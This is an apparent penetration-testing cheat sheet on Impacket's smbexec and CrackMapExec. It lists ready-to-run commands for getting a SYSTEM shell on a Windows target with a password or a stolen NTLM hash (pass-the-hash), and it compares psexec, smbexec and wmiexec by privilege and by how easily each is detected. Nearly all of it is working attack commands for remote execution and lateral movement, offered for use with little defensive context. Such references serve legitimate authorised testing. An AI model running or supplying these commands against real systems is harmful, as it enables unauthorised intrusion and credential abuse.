SMBExec

Impacket — smbexec

impacket-smbexec DOMAIN/user:password@TARGET
impacket-smbexec DOMAIN/user@TARGET -hashes :NTLM_HASH

Returns SYSTEM shell. Uses service creation for execution.

No binary upload — commands run through cmd.exe /Q /c.

crackmapexec smb TARGET -u user -p password --exec-method smbexec -x "whoami"

Feature	psexec	smbexec	wmiexec
Privilege	SYSTEM	SYSTEM	User
Binary upload	Yes	No	No
Protocol	SMB	SMB	WMI
Detection	High	Medium	Lower

Task	Command
Shell	`impacket-smbexec DOMAIN/user:pass@TARGET`
PtH	`impacket-smbexec DOMAIN/user@TARGET -hashes :HASH`
CME	`crackmapexec smb TARGET --exec-method smbexec -x "cmd"`